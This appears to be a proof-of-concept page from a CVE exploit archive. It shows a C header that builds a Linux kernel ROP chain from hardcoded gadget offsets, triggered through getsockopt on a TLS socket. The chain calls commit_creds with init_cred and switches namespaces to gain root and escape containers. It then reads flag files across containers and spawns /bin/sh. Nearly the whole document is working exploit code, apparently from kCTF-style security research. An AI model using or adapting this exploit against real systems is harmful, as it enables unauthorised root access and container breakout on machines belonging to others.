4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / rop.h H
#include <stdio.h>
#include <sched.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/socket.h>

void *new_stack;

/* GADGETS */
/* data structures */

// found via inspection via gdb, as these aren't in kallsyms
#define INIT_NSPROXY_OFF 0x16574f0
#define INIT_CRED_OFF 0x16578d0

/* routines */
#define BPF_GET_CURRENT_TASK_OFF 0x1a9780
#define SWITCH_TASK_NAMESPACES_OFF 0x0b02c0
#define COMMIT_CREDS_OFF 0x0b2350
#define __AUDIT_SYSCALL_EXIT_OFF 0x163e80
#define FIND_TASK_BY_VPID_OFF 0x0a80d0
/* general purpose gadgets */

// mov rcx, rsp; mov rsp, rcx; pop rbx; pop rbp; ret;
#define STACK_PIVOT_OFF 0x8fbc8f

// mov rdi, rax; jne <x>; ret
// all of the mov rdi, rax gadgets either call or jne right after
#define MOV_RDI_RAX_OFF 0x602b3e

#define POP_RSI_OFF 0x009a66 // pop rsi; add bh, dh; ret;
#define POP_RDI_OFF 0x076990
#define POP_RCX_OFF 0x0128ef
#define POP_RBX_R14_RBP_OFF 0x0007fc

// test r9b, r9b; jne <x>; pop rbp; ret
#define TEST_R9B_R9B_OFF 0x6026bc

/* swapgs; sysret */
#define SWAPGS_SYSRET_OFF 0xc000f6

void after_rop(void);

__attribute__((naked))
void
_after_rop(void)
{
    __asm__ (
            "movq $new_stack, %rbx\n\t"
            "movq (%rbx), %rsp\n\t"
            "sub $8, %rsp\n\t"
            "jmp after_rop\n\t"
            "ud2"
            );
}

size_t dumb_strlen(char* a) {
    size_t result = 0;
    while (*a++) result++;
    return result;
}


void
after_rop(void)
{
    puts("[+] Returned to usermode! Root shell is imminent.");
#ifdef KCTF
    // set namespaces to the task that we've elevated its namespaces
    setns(open("/proc/1/ns/mnt", O_RDONLY), 0);
    setns(open("/proc/1/ns/pid", O_RDONLY), 0);
    setns(open("/proc/1/ns/net", O_RDONLY), 0);

    // show flags for all containers
    system("for file in $(ls /proc/*/root/flag/flag); do cat $file; echo \"\"; done");
#endif
    execve("/bin/sh", NULL, NULL);
}

void
getsockopt_tls(int fd, uint64_t fake_stack)
{
    puts("[+] Calling getsockopt() to trigger execution.");
    getsockopt(fd, 0x41414141, 0x42424242,
                   fake_stack, 0x8181818181818181);
}

void prepare_rop(uint64_t *rop, uint64_t kernel_base)
{
    /* ROP chain overview:
     * 1. change namespaces of task with vpid 1 to root namespaces
     * 2. set credentials of current process to root creds
     * 3. cleanup and return to UM
     * 4. in UM we setns. */

    int j = 0;
    /* Start with find_task_by_vpid(1) */
    rop[j++] = kernel_base + POP_RDI_OFF;
    rop[j++] = 1;
    rop[j++] = kernel_base + FIND_TASK_BY_VPID_OFF;

    // clear zero flag so jne will not be taken in mov rdi, rax
    rop[j++] = kernel_base + TEST_R9B_R9B_OFF;
    rop[j++] = 0;

    // mov rdi, rax
    rop[j++] = kernel_base + MOV_RDI_RAX_OFF;
    rop[j++] = 0;

    // switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy)
    rop[j++] = kernel_base + POP_RSI_OFF;
    rop[j++] = kernel_base + INIT_NSPROXY_OFF;
    rop[j++] = kernel_base + SWITCH_TASK_NAMESPACES_OFF;

    // commit_creds(&init_cred)
    rop[j++] = kernel_base + POP_RDI_OFF;
    rop[j++] = kernel_base + INIT_CRED_OFF;
    rop[j++] = kernel_base + COMMIT_CREDS_OFF;

    // __audit_syscall_exit(0, 0)
    // this is needed because otherwise,
    // audit_syscall_enter will complain
    // at the next syscall we make.
    rop[j++] = kernel_base + POP_RSI_OFF;
    rop[j++] = 0;
    rop[j++] = kernel_base + POP_RDI_OFF;
    rop[j++] = 0;
    rop[j++] = kernel_base + __AUDIT_SYSCALL_EXIT_OFF;

    // return to &_after_rop
    rop[j++] = kernel_base + POP_RCX_OFF;
    rop[j++] = &_after_rop;
    rop[j++] = kernel_base + SWAPGS_SYSRET_OFF;
}